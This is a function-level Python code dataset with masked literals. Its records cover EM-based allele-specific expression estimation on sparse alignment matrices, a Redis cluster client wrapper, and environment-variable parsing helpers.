{"signature": "def update_probability_at_read_level(self, model=<NUM_LIT:3>):", "body": "self.probability.reset()  <EOL>if model == <NUM_LIT:1>:<EOL><INDENT>self.probability.multiply(self.allelic_expression, axis=APM.Axis.READ)<EOL>self.probability.normalize_reads(axis=APM.Axis.HAPLOGROUP, grouping_mat=self.t2t_mat)<EOL>haplogroup_sum_mat = self.allelic_expression * self.t2t_mat<EOL>self.probability.multiply(haplogroup_sum_mat, axis=APM.Axis.READ)<EOL>self.probability.normalize_reads(axis=APM.Axis.GROUP, grouping_mat=self.t2t_mat)<EOL>self.probability.multiply(haplogroup_sum_mat.sum(axis=<NUM_LIT:0>), axis=APM.Axis.HAPLOTYPE)<EOL>self.probability.normalize_reads(axis=APM.Axis.READ)<EOL><DEDENT>elif model == <NUM_LIT:2>:<EOL><INDENT>self.probability.multiply(self.allelic_expression, axis=APM.Axis.READ)<EOL>self.probability.normalize_reads(axis=APM.Axis.LOCUS)<EOL>self.probability.multiply(self.allelic_expression.sum(axis=<NUM_LIT:0>), axis=APM.Axis.HAPLOTYPE)<EOL>self.probability.normalize_reads(axis=APM.Axis.GROUP, grouping_mat=self.t2t_mat)<EOL>self.probability.multiply((self.allelic_expression * self.t2t_mat).sum(axis=<NUM_LIT:0>), axis=APM.Axis.HAPLOTYPE)<EOL>self.probability.normalize_reads(axis=APM.Axis.READ)<EOL><DEDENT>elif model == <NUM_LIT:3>:<EOL><INDENT>self.probability.multiply(self.allelic_expression, axis=APM.Axis.READ)<EOL>self.probability.normalize_reads(axis=APM.Axis.GROUP, grouping_mat=self.t2t_mat)<EOL>self.probability.multiply((self.allelic_expression * self.t2t_mat).sum(axis=<NUM_LIT:0>), axis=APM.Axis.HAPLOTYPE)<EOL>self.probability.normalize_reads(axis=APM.Axis.READ)<EOL><DEDENT>elif model == <NUM_LIT:4>:<EOL><INDENT>self.probability.multiply(self.allelic_expression, axis=APM.Axis.READ)<EOL>self.probability.normalize_reads(axis=APM.Axis.READ)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Updates the probability of read origin at read level\n\n:param model: Normalization model (1: Gene->Allele->Isoform, 2: Gene->Isoform->Allele, 3: Gene->Isoform*Allele, 4: Gene*Isoform*Allele)\n:return: Nothing (as it performs in-place operations)", "id": "f12618:c0:m4"}
{"signature": "def update_allelic_expression(self, model=<NUM_LIT:3>):", "body": "self.update_probability_at_read_level(model)<EOL>self.allelic_expression = self.probability.sum(axis=APM.Axis.READ)<EOL>if self.target_lengths is not None:<EOL><INDENT>self.allelic_expression = np.divide(self.allelic_expression, self.target_lengths)<EOL><DEDENT>", "docstring": "A single EM step: Update probability at read level and then re-estimate allelic specific expression\n\n:param model: Normalization model (1: Gene->Allele->Isoform, 2: Gene->Isoform->Allele, 3: Gene->Isoform*Allele, 4: Gene*Isoform*Allele)\n:return: Nothing (as it performs in-place operations)", "id": "f12618:c0:m5"}
{"signature": "def run(self, model, tol=<NUM_LIT>, max_iters=<NUM_LIT>, verbose=True):", "body": "orig_err_states = np.seterr(all='<STR_LIT>')<EOL>np.seterr(under='<STR_LIT:ignore>')<EOL>if verbose:<EOL><INDENT>print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>num_iters = <NUM_LIT:0><EOL>err_sum = <NUM_LIT><EOL>time0 = time.time()<EOL>target_err = <NUM_LIT> * tol<EOL>while err_sum > target_err and num_iters < max_iters:<EOL><INDENT>prev_isoform_expression = self.get_allelic_expression().sum(axis=<NUM_LIT:0>)<EOL>prev_isoform_expression *= (<NUM_LIT> / prev_isoform_expression.sum())<EOL>self.update_allelic_expression(model=model)<EOL>curr_isoform_expression = self.get_allelic_expression().sum(axis=<NUM_LIT:0>)<EOL>curr_isoform_expression *= (<NUM_LIT> / curr_isoform_expression.sum())<EOL>err = np.abs(curr_isoform_expression - prev_isoform_expression)<EOL>err_sum = err.sum()<EOL>num_iters += <NUM_LIT:1><EOL>if verbose:<EOL><INDENT>time1 = time.time()<EOL>delmin, s = divmod(int(time1 - time0), <NUM_LIT>)<EOL>h, m = divmod(delmin, <NUM_LIT>)<EOL>print(\"<STR_LIT>\" % (num_iters, h, m, s, err_sum))<EOL><DEDENT><DEDENT>", "docstring": "Runs EM iterations\n\n:param model: Normalization model (1: Gene->Allele->Isoform, 2: Gene->Isoform->Allele, 3: Gene->Isoform*Allele, 4: Gene*Isoform*Allele)\n:param tol: Tolerance for termination\n:param max_iters: Maximum number of iterations until termination\n:param verbose: Display information on how EM is running\n:return: Nothing (as it performs in-place operations)", "id": "f12618:c0:m6"}
{"signature": "def report_read_counts(self, filename, grp_wise=False, reorder='<STR_LIT>', notes=None):", "body": "expected_read_counts = self.probability.sum(axis=APM.Axis.READ)<EOL>if grp_wise:<EOL><INDENT>lname = self.probability.gname<EOL>expected_read_counts = expected_read_counts * self.grp_conv_mat<EOL><DEDENT>else:<EOL><INDENT>lname = self.probability.lname<EOL><DEDENT>total_read_counts = expected_read_counts.sum(axis=<NUM_LIT:0>)<EOL>if reorder == '<STR_LIT>':<EOL><INDENT>report_order = np.argsort(total_read_counts.flatten())<EOL>report_order = report_order[::-<NUM_LIT:1>]<EOL><DEDENT>elif reorder == '<STR_LIT>':<EOL><INDENT>report_order = np.argsort(total_read_counts.flatten())<EOL><DEDENT>elif reorder == '<STR_LIT>':<EOL><INDENT>report_order = np.arange(len(lname))  <EOL><DEDENT>cntdata = np.vstack((expected_read_counts, total_read_counts))<EOL>fhout = open(filename, '<STR_LIT:w>')<EOL>fhout.write(\"<STR_LIT>\" + \"<STR_LIT:\\t>\".join(self.probability.hname) + \"<STR_LIT>\")<EOL>if notes is not None:<EOL><INDENT>fhout.write(\"<STR_LIT>\")<EOL><DEDENT>fhout.write(\"<STR_LIT:\\n>\")<EOL>for locus_id in report_order:<EOL><INDENT>lname_cur = lname[locus_id]<EOL>fhout.write(\"<STR_LIT:\\t>\".join([lname_cur] + list(map(str, cntdata[:, locus_id].ravel()))))<EOL>if notes is not None:<EOL><INDENT>fhout.write(\"<STR_LIT>\" % notes[lname_cur])<EOL><DEDENT>fhout.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>fhout.close()<EOL>", "docstring": "Exports expected read counts\n\n:param filename: File name for output\n:param grp_wise: whether the report is at isoform level or gene level\n:param reorder: whether the report should be either 'decreasing' or 'increasing' order or just 'as-is'\n:return: Nothing but the method writes a file", "id": "f12618:c0:m7"}
{"signature": "def report_depths(self, filename, tpm=True, grp_wise=False, reorder='<STR_LIT>', notes=None):", "body": "if grp_wise:<EOL><INDENT>lname = self.probability.gname<EOL>depths = self.allelic_expression * self.grp_conv_mat<EOL><DEDENT>else:<EOL><INDENT>lname = self.probability.lname<EOL>depths = self.allelic_expression<EOL><DEDENT>if tpm:<EOL><INDENT>depths *= (<NUM_LIT> / depths.sum())<EOL><DEDENT>total_depths = depths.sum(axis=<NUM_LIT:0>)<EOL>if reorder == '<STR_LIT>':<EOL><INDENT>report_order = np.argsort(total_depths.flatten())<EOL>report_order = report_order[::-<NUM_LIT:1>]<EOL><DEDENT>elif reorder == '<STR_LIT>':<EOL><INDENT>report_order = np.argsort(total_depths.flatten())<EOL><DEDENT>elif reorder == '<STR_LIT>':<EOL><INDENT>report_order = np.arange(len(lname))  <EOL><DEDENT>cntdata = np.vstack((depths, total_depths))<EOL>fhout = open(filename, '<STR_LIT:w>')<EOL>fhout.write(\"<STR_LIT>\" + \"<STR_LIT:\\t>\".join(self.probability.hname) + \"<STR_LIT>\")<EOL>if notes is not None:<EOL><INDENT>fhout.write(\"<STR_LIT>\")<EOL><DEDENT>fhout.write(\"<STR_LIT:\\n>\")<EOL>for locus_id in report_order:<EOL><INDENT>lname_cur = lname[locus_id]<EOL>fhout.write(\"<STR_LIT:\\t>\".join([lname_cur] + list(map(str, cntdata[:, locus_id].ravel()))))<EOL>if notes is not None:<EOL><INDENT>fhout.write(\"<STR_LIT>\" % notes[lname_cur])<EOL><DEDENT>fhout.write(\"<STR_LIT:\\n>\")<EOL><DEDENT>fhout.close()<EOL>", "docstring": "Exports expected depths\n\n:param filename: File name for output\n:param grp_wise: whether the report is at isoform level or gene level\n:param reorder: whether the report should be either 'decreasing' or 'increasing' order or just 'as-is'\n:return: Nothing but the method writes a file", "id": "f12618:c0:m8"}
{"signature": "def export_posterior_probability(self, filename, title=\"<STR_LIT>\"):", "body": "self.probability.save(h5file=filename, title=title)<EOL>", "docstring": "Writes the posterior probability of read origin\n\n:param filename: File name for output\n:param title: The title of the posterior probability matrix\n:return: Nothing but the method writes a file in EMASE format (PyTables)", "id": "f12618:c0:m9"}
{"signature": "def bundle(self, reset=False, shallow=False): ", "body": "if self.finalized:<EOL><INDENT>if self.groups is not None and self.gname is not None:<EOL><INDENT>grp_conv_mat = lil_matrix((self.num_loci, self.num_groups))<EOL>for i in range(self.num_groups):<EOL><INDENT>grp_conv_mat[self.groups[i], i] = <NUM_LIT:1.0><EOL><DEDENT>grp_align = Sparse3DMatrix.__mul__(self, grp_conv_mat) <EOL>grp_align.num_loci = self.num_groups<EOL>grp_align.num_haplotypes = self.num_haplotypes<EOL>grp_align.num_reads = self.num_reads<EOL>grp_align.shape = (grp_align.num_loci, grp_align.num_haplotypes, grp_align.num_reads)<EOL>if not shallow:<EOL><INDENT>grp_align.lname = copy.copy(self.gname)<EOL>grp_align.hname = self.hname<EOL>grp_align.rname = copy.copy(self.rname)<EOL>grp_align.lid   = dict(list(zip(grp_align.lname, np.arange(grp_align.num_loci))))<EOL>grp_align.rid   = copy.copy(self.rid)<EOL><DEDENT>if reset:<EOL><INDENT>grp_align.reset()<EOL><DEDENT>return grp_align<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Returns ``AlignmentPropertyMatrix`` object in which loci are bundled using grouping information.\n\n:param reset: whether to reset the values at the loci\n:param shallow: whether to copy all the meta data", "id": "f12620:c0:m6"}
{"signature": "def normalize_reads(self, axis, grouping_mat=None):", "body": "if self.finalized:<EOL><INDENT>if axis == self.Axis.LOCUS:  <EOL><INDENT>normalizer = self.sum(axis=self.Axis.HAPLOTYPE)  <EOL>normalizer.eliminate_zeros()<EOL>for hid in range(self.num_haplotypes):<EOL><INDENT>self.data[hid].eliminate_zeros()  <EOL>self.data[hid] = np.divide(self.data[hid], normalizer)  <EOL><DEDENT><DEDENT>elif axis == self.Axis.HAPLOTYPE:  <EOL><INDENT>for hid in range(self.num_haplotypes):<EOL><INDENT>normalizer = self.data[hid].sum(axis=self.Axis.HAPLOTYPE)  <EOL>normalizer = normalizer.A.flatten()<EOL>self.data[hid].data /= normalizer[self.data[hid].indices]<EOL><DEDENT><DEDENT>elif axis == self.Axis.READ:  <EOL><INDENT>sum_mat = self.sum(axis=self.Axis.LOCUS)<EOL>normalizer = sum_mat.sum(axis=self.Axis.HAPLOTYPE)<EOL>normalizer = normalizer.ravel()<EOL>for hid in range(self.num_haplotypes):<EOL><INDENT>self.data[hid].data /= normalizer[self.data[hid].indices]<EOL><DEDENT><DEDENT>elif axis == self.Axis.GROUP:  <EOL><INDENT>if grouping_mat is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>normalizer = self.sum(axis=self.Axis.HAPLOTYPE) * grouping_mat<EOL>for hid in range(self.num_haplotypes):<EOL><INDENT>self.data[hid].eliminate_zeros()  <EOL>self.data[hid] = np.divide(self.data[hid], normalizer)<EOL><DEDENT><DEDENT>elif axis == self.Axis.HAPLOGROUP:  <EOL><INDENT>if grouping_mat is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>for hid in range(self.num_haplotypes):  <EOL><INDENT>normalizer = self.data[hid] * grouping_mat  <EOL>self.data[hid].eliminate_zeros()  <EOL>self.data[hid] = np.divide(self.data[hid], normalizer)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Read-wise normalization\n\n:param axis: The dimension along which we want to normalize values\n:param grouping_mat: An incidence matrix that specifies which isoforms are from a same gene\n:return: Nothing (as the method performs in-place operations)\n:rtype: None", "id": "f12620:c0:m11"}
{"signature": "def pull_alignments_from(self, reads_to_use, shallow=False):", "body": "new_alnmat = self.copy(shallow=shallow)<EOL>for hid in range(self.num_haplotypes):<EOL><INDENT>hdata = new_alnmat.data[hid]<EOL>hdata.data *= reads_to_use[hdata.indices]<EOL>hdata.eliminate_zeros()<EOL><DEDENT>if new_alnmat.count is not None:<EOL><INDENT>new_alnmat.count[np.logical_not(reads_to_use)] = <NUM_LIT:0><EOL><DEDENT>return new_alnmat<EOL>", "docstring": "Pull out alignments of certain reads\n\n:param reads_to_use: numpy array of dtype=bool specifying which reads to use\n:param shallow: whether to copy sparse 3D matrix only or not\n:return: a new AlignmentPropertyMatrix object that particular reads are", "id": "f12620:c0:m12"}
{"signature": "def get_unique_reads(self, ignore_haplotype=False, shallow=False):", "body": "if self.finalized:<EOL><INDENT>if ignore_haplotype:<EOL><INDENT>summat = self.sum(axis=self.Axis.HAPLOTYPE)<EOL>nnz_per_read = np.diff(summat.tocsr().indptr)<EOL>unique_reads = np.logical_and(nnz_per_read > <NUM_LIT:0>, nnz_per_read < <NUM_LIT:2>)<EOL><DEDENT>else:  <EOL><INDENT>alncnt_per_read = self.sum(axis=self.Axis.LOCUS).sum(axis=self.Axis.HAPLOTYPE)<EOL>unique_reads = np.logical_and(alncnt_per_read > <NUM_LIT:0>, alncnt_per_read < <NUM_LIT:2>)<EOL><DEDENT>return self.pull_alignments_from(unique_reads, shallow=shallow)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Pull out alignments of uniquely-aligning reads\n\n:param ignore_haplotype: whether to regard allelic multiread as uniquely-aligning read\n:param shallow: whether to copy sparse 3D matrix only or not\n:return: a new AlignmentPropertyMatrix object that particular reads are", "id": "f12620:c0:m13"}
{"signature": "def print_read(self, rid):", "body": "if self.rname is not None:<EOL><INDENT>print(self.rname[rid])<EOL>print('<STR_LIT>')<EOL><DEDENT>r = self.get_read_data(rid)<EOL>aligned_loci = np.unique(r.nonzero()[<NUM_LIT:1>])<EOL>for locus in aligned_loci:<EOL><INDENT>nzvec = r[:, locus].todense().transpose()[<NUM_LIT:0>].A.flatten()<EOL>if self.lname is not None:<EOL><INDENT>print(self.lname[locus], end='<STR_LIT:U+0020>')<EOL><DEDENT>else:<EOL><INDENT>print(locus, end='<STR_LIT:U+0020>')<EOL><DEDENT>print(nzvec)<EOL><DEDENT>", "docstring": "Prints nonzero rows of the read wanted", "id": "f12620:c0:m20"}
{"signature": "def __getattr__(self, name, *args, **kwargs):", "body": "def function(*args, **kwargs):<EOL><INDENT>if name not in StrictRedisCluster._loop_keys:<EOL><INDENT>tag_start = None<EOL>key_type = hash_tag = '<STR_LIT>'<EOL>list_ht = []<EOL>if isinstance(args[<NUM_LIT:0>], (basestring, bytes)):<EOL><INDENT>key_type = '<STR_LIT:string>'<EOL>list_ht.append(args[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>if isinstance(args[<NUM_LIT:0>], list):<EOL><INDENT>key_type = '<STR_LIT:list>'<EOL>list_ht.append(args[<NUM_LIT:0>][<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>key_type = '<STR_LIT>'<EOL>list_ht = iterkeys(args[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>for k in list_ht:<EOL><INDENT>try:<EOL><INDENT>tag_start = k.index('<STR_LIT:{>')<EOL>hash_tag = k<EOL>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>tag_start = None<EOL><DEDENT><DEDENT>if name in StrictRedisCluster._tag_keys and not tag_start:<EOL><INDENT>try:<EOL><INDENT>return getattr(self, '<STR_LIT>' + name)(*args, **kwargs)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise redis.DataError(\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>hkey = args[<NUM_LIT:0>]<EOL>if tag_start is not None:<EOL><INDENT>L = list(args)<EOL>if key_type != '<STR_LIT:string>':<EOL><INDENT>if key_type == '<STR_LIT:list>':<EOL><INDENT>hkey = L[<NUM_LIT:0>][<NUM_LIT:0>][tag_start + <NUM_LIT:1>:-<NUM_LIT:1>]<EOL>L[<NUM_LIT:0>][<NUM_LIT:0>] = L[<NUM_LIT:0>][<NUM_LIT:0>][<NUM_LIT:0>:tag_start]<EOL><DEDENT>else:<EOL><INDENT>hkey = hash_tag[tag_start + <NUM_LIT:1>:-<NUM_LIT:1>]<EOL>L[<NUM_LIT:0>][hash_tag[<NUM_LIT:0>:tag_start]] = L[<NUM_LIT:0>][hash_tag]<EOL>del L[<NUM_LIT:0>][hash_tag]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>hkey = L[<NUM_LIT:0>][tag_start + <NUM_LIT:1>:-<NUM_LIT:1>]<EOL>L[<NUM_LIT:0>] = L[<NUM_LIT:0>][<NUM_LIT:0>:tag_start]<EOL><DEDENT>args = tuple(L)<EOL><DEDENT>node = self._getnodenamefor(hkey)<EOL>if name in StrictRedisCluster._write_keys:<EOL><INDENT>redisent = self.redises[node]<EOL><DEDENT>elif name in StrictRedisCluster._read_keys:<EOL><INDENT>redisent = self.redises[node + '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise redis.DataError(\"<STR_LIT>\" % name)<EOL><DEDENT>return getattr(redisent, name)(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if name not in self._loop_keys_admin:<EOL><INDENT>try:<EOL><INDENT>return getattr(self, '<STR_LIT>' + name)(*args, **kwargs)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise redis.DataError(\"<STR_LIT>\" % name)<EOL><DEDENT><DEDENT>result = {}<EOL>for alias, redisent in iteritems(self.redises):<EOL><INDENT>if (name in StrictRedisCluster._write_keys and alias.find('<STR_LIT>') >= <NUM_LIT:0>) or (name in StrictRedisCluster._read_keys and alias.find('<STR_LIT>') == -<NUM_LIT:1>):<EOL><INDENT>res = None<EOL><DEDENT>else:<EOL><INDENT>res = getattr(redisent, name)(*args, **kwargs)<EOL><DEDENT>result[alias] = res<EOL><DEDENT>return result<EOL><DEDENT><DEDENT>return function<EOL>", "docstring": "Magic method to handle all redis commands\n- string name The name of the command called.\n- tuple args of supplied arguments to the command.", "id": "f12629:c0:m1"}
{"signature": "def _getnodenamefor(self, name):", "body": "return '<STR_LIT>' + str(<EOL>(abs(binascii.crc32(b(name)) & <NUM_LIT>) % self.no_servers) + <NUM_LIT:1>)<EOL>", "docstring": "Return the node name where the ``name`` would land to", "id": "f12629:c0:m2"}
{"signature": "def getnodefor(self, name):", "body": "node = self._getnodenamefor(name)<EOL>return {node: self.cluster['<STR_LIT>'][node]}<EOL>", "docstring": "Return the node where the ``name`` would land to", "id": "f12629:c0:m3"}
{"signature": "def __setitem__(self, name, value):", "body": "return self.set(name, value)<EOL>", "docstring": "Set the value at key ``name`` to ``value``", "id": "f12629:c0:m4"}
{"signature": "def __getitem__(self, name):", "body": "value = self.get(name)<EOL>if value:<EOL><INDENT>return value<EOL><DEDENT>raise KeyError(name)<EOL>", "docstring": "Return the value at key ``name``, raises a KeyError if the key\ndoesn't exist.", "id": "f12629:c0:m5"}
{"signature": "def __delitem__(self, *names):", "body": "return self.delete(*names)<EOL>", "docstring": "Delete one or more keys specified by ``names``", "id": "f12629:c0:m6"}
{"signature": "def object(self, infotype, key):", "body": "redisent = self.redises[self._getnodenamefor(key) + '<STR_LIT>']<EOL>return getattr(redisent, '<STR_LIT:object>')(infotype, key)<EOL>", "docstring": "Return the encoding, idletime, or refcount about the key", "id": "f12629:c0:m7"}
{"signature": "def _rc_brpoplpush(self, src, dst, timeout=<NUM_LIT:0>):", "body": "rpop = self.brpop(src, timeout)<EOL>if rpop is not None:<EOL><INDENT>self.lpush(dst, rpop[<NUM_LIT:1>])<EOL>return rpop[<NUM_LIT:1>]<EOL><DEDENT>return None<EOL>", "docstring": "Pop a value off the tail of ``src``, push it on the head of ``dst``\nand then return it.\n\nThis command blocks until a value is in ``src`` or until ``timeout``\nseconds elapse, whichever is first. A ``timeout`` value of 0 blocks\nforever.\nNot atomic", "id": "f12629:c0:m8"}
{"signature": "def _rc_rpoplpush(self, src, dst):", "body": "rpop = self.rpop(src)<EOL>if rpop is not None:<EOL><INDENT>self.lpush(dst, rpop)<EOL>return rpop<EOL><DEDENT>return None<EOL>", "docstring": "RPOP a value off of the ``src`` list and LPUSH it\non to the ``dst`` list.  Returns the value.", "id": "f12629:c0:m9"}
{"signature": "def _rc_sdiff(self, src, *args):", "body": "args = list_or_args(src, args)<EOL>src_set = self.smembers(args.pop(<NUM_LIT:0>))<EOL>if src_set is not set([]):<EOL><INDENT>for key in args:<EOL><INDENT>src_set.difference_update(self.smembers(key))<EOL><DEDENT><DEDENT>return src_set<EOL>", "docstring": "Returns the members of the set resulting from the difference between\nthe first set and all the successive sets.", "id": "f12629:c0:m10"}
{"signature": "def _rc_sdiffstore(self, dst, src, *args):", "body": "args = list_or_args(src, args)<EOL>result = self.sdiff(*args)<EOL>if result is not set([]):<EOL><INDENT>return self.sadd(dst, *list(result))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Store the difference of sets ``src``,  ``args`` into a new\nset named ``dest``.  Returns the number of keys in the new set.", "id": "f12629:c0:m11"}
{"signature": "def _rc_sinter(self, src, *args):", "body": "args = list_or_args(src, args)<EOL>src_set = self.smembers(args.pop(<NUM_LIT:0>))<EOL>if src_set is not set([]):<EOL><INDENT>for key in args:<EOL><INDENT>src_set.intersection_update(self.smembers(key))<EOL><DEDENT><DEDENT>return src_set<EOL>", "docstring": "Returns the members of the set resulting from the difference between\nthe first set and all the successive sets.", "id": "f12629:c0:m12"}
{"signature": "def _rc_sinterstore(self, dst, src, *args):", "body": "args = list_or_args(src, args)<EOL>result = self.sinter(*args)<EOL>if result is not set([]):<EOL><INDENT>return self.sadd(dst, *list(result))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Store the difference of sets ``src``,  ``args`` into a new\nset named ``dest``.  Returns the number of keys in the new set.", "id": "f12629:c0:m13"}
{"signature": "def _rc_smove(self, src, dst, value):", "body": "if self.type(src) != b(\"<STR_LIT>\"):<EOL><INDENT>return self.smove(src + \"<STR_LIT:{>\" + src + \"<STR_LIT:}>\", dst, value)<EOL><DEDENT>if self.type(dst) != b(\"<STR_LIT>\"):<EOL><INDENT>return self.smove(dst + \"<STR_LIT:{>\" + dst + \"<STR_LIT:}>\", src, value)<EOL><DEDENT>if self.srem(src, value):<EOL><INDENT>return <NUM_LIT:1> if self.sadd(dst, value) else <NUM_LIT:0><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Move ``value`` from set ``src`` to set ``dst``\nnot atomic", "id": "f12629:c0:m14"}
{"signature": "def _rc_sunion(self, src, *args):", "body": "args = list_or_args(src, args)<EOL>src_set = self.smembers(args.pop(<NUM_LIT:0>))<EOL>if src_set is not set([]):<EOL><INDENT>for key in args:<EOL><INDENT>src_set.update(self.smembers(key))<EOL><DEDENT><DEDENT>return src_set<EOL>", "docstring": "Returns the members of the set resulting from the union between\nthe first set and all the successive sets.", "id": "f12629:c0:m15"}
{"signature": "def _rc_sunionstore(self, dst, src, *args):", "body": "args = list_or_args(src, args)<EOL>result = self.sunion(*args)<EOL>if result is not set([]):<EOL><INDENT>return self.sadd(dst, *list(result))<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Store the union of sets ``src``,  ``args`` into a new\nset named ``dest``.  Returns the number of keys in the new set.", "id": "f12629:c0:m16"}
{"signature": "def _rc_mset(self, mapping):", "body": "result = True<EOL>for k, v in iteritems(mapping):<EOL><INDENT>result = result and self.set(k, v)<EOL><DEDENT>return result<EOL>", "docstring": "Sets each key in the ``mapping`` dict to its corresponding value", "id": "f12629:c0:m17"}
{"signature": "def _rc_msetnx(self, mapping):", "body": "for k in iterkeys(mapping):<EOL><INDENT>if self.exists(k):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return self._rc_mset(mapping)<EOL>", "docstring": "Sets each key in the ``mapping`` dict to its corresponding value if\nnone of the keys are already set", "id": "f12629:c0:m18"}
{"signature": "def _rc_mget(self, keys, *args):", "body": "args = list_or_args(keys, args)<EOL>result = []<EOL>for key in args:<EOL><INDENT>result.append(self.get(key))<EOL><DEDENT>return result<EOL>", "docstring": "Returns a list of values ordered identically to ``*args``", "id": "f12629:c0:m19"}
{"signature": "def _rc_rename(self, src, dst):", "body": "if src == dst:<EOL><INDENT>return self.rename(src + \"<STR_LIT:{>\" + src + \"<STR_LIT:}>\", src)<EOL><DEDENT>if not self.exists(src):<EOL><INDENT>return self.rename(src + \"<STR_LIT:{>\" + src + \"<STR_LIT:}>\", src)<EOL><DEDENT>self.delete(dst)<EOL>ktype = self.type(src)<EOL>kttl = self.ttl(src)<EOL>if ktype == b('<STR_LIT:none>'):<EOL><INDENT>return False<EOL><DEDENT>if ktype == b('<STR_LIT:string>'):<EOL><INDENT>self.set(dst, self.get(src))<EOL><DEDENT>elif ktype == b('<STR_LIT>'):<EOL><INDENT>self.hmset(dst, self.hgetall(src))<EOL><DEDENT>elif ktype == b('<STR_LIT:list>'):<EOL><INDENT>for k in self.lrange(src, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>self.rpush(dst, k)<EOL><DEDENT><DEDENT>elif ktype == b('<STR_LIT>'):<EOL><INDENT>for k in self.smembers(src):<EOL><INDENT>self.sadd(dst, k)<EOL><DEDENT><DEDENT>elif ktype == b('<STR_LIT>'):<EOL><INDENT>for k, v in self.zrange(src, <NUM_LIT:0>, -<NUM_LIT:1>, withscores=True):<EOL><INDENT>self.zadd(dst, v, k)<EOL><DEDENT><DEDENT>kttl = -<NUM_LIT:1> if kttl is None or kttl < <NUM_LIT:0> else int(kttl)<EOL>if kttl != -<NUM_LIT:1>:<EOL><INDENT>self.expire(dst, kttl)<EOL><DEDENT>return self.delete(src)<EOL>", "docstring": "Rename key ``src`` to ``dst``", "id": "f12629:c0:m20"}
{"signature": "def _rc_renamenx(self, src, dst):", "body": "if self.exists(dst):<EOL><INDENT>return False<EOL><DEDENT>return self._rc_rename(src, dst)<EOL>", "docstring": "Rename key ``src`` to ``dst`` if ``dst`` doesn't already exist", "id": "f12629:c0:m21"}
{"signature": "def _rc_keys(self, pattern='<STR_LIT:*>'):", "body": "result = []<EOL>for alias, redisent in iteritems(self.redises):<EOL><INDENT>if alias.find('<STR_LIT>') == -<NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>result.extend(redisent.keys(pattern))<EOL><DEDENT>return result<EOL>", "docstring": "Returns a list of keys matching ``pattern``", "id": "f12629:c0:m22"}
{"signature": "def _rc_dbsize(self):", "body": "result = <NUM_LIT:0><EOL>for alias, redisent in iteritems(self.redises):<EOL><INDENT>if alias.find('<STR_LIT>') == -<NUM_LIT:1>:<EOL><INDENT>continue<EOL><DEDENT>result += redisent.dbsize()<EOL><DEDENT>return result<EOL>", "docstring": "Returns the number of keys in the current database", "id": "f12629:c0:m23"}
{"signature": "def comma_separated_str_to_list(config_val, evar):", "body": "if not config_val:<EOL><INDENT>return []<EOL><DEDENT>return [token.strip() for token in config_val.split('<STR_LIT:U+002C>')]<EOL>", "docstring": "Splits a comma-separated environment variable into a list of strings.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:rtype: list\n:return: The equivalent list for a comma-separated string.", "id": "f12632:m0"}
{"signature": "def comma_separated_to_set(config_val, evar):", "body": "return set(comma_separated_str_to_list(config_val, evar))<EOL>", "docstring": "Splits a comma-separated environment variable into a set of strings.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:rtype: set\n:return: The equivalent set for a comma-separated string.", "id": "f12632:m1"}
{"signature": "def value_to_none(config_val, evar):", "body": "if not config_val:<EOL><INDENT>return None<EOL><DEDENT>return config_val<EOL>", "docstring": "Given a value that evaluates to a boolean False, return None.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:rtype: str or None\n:return: Either the non-False value or None.", "id": "f12632:m2"}
{"signature": "def value_to_int(config_val, evar):", "body": "return int(config_val)<EOL>", "docstring": "Convert the value to int.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:rtype: int", "id": "f12632:m3"}
{"signature": "def value_to_bool(config_val, evar):", "body": "if not config_val:<EOL><INDENT>return False<EOL><DEDENT>if config_val.strip().lower() == '<STR_LIT:true>':<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Massages the 'true' and 'false' strings to bool equivalents.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:rtype: bool\n:return: True or False, depending on the value.", "id": "f12632:m4"}
{"signature": "def validate_is_not_none(config_val, evar):", "body": "if config_val is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(evar_name=evar.name))<EOL><DEDENT>return config_val<EOL>", "docstring": "If the value is ``None``, fail validation.\n\n:param str config_val: The env var value.\n:param EnvironmentVariable evar: The EVar object we are validating\n    a value for.\n:raises: ValueError if the config value is None.", "id": "f12632:m5"}
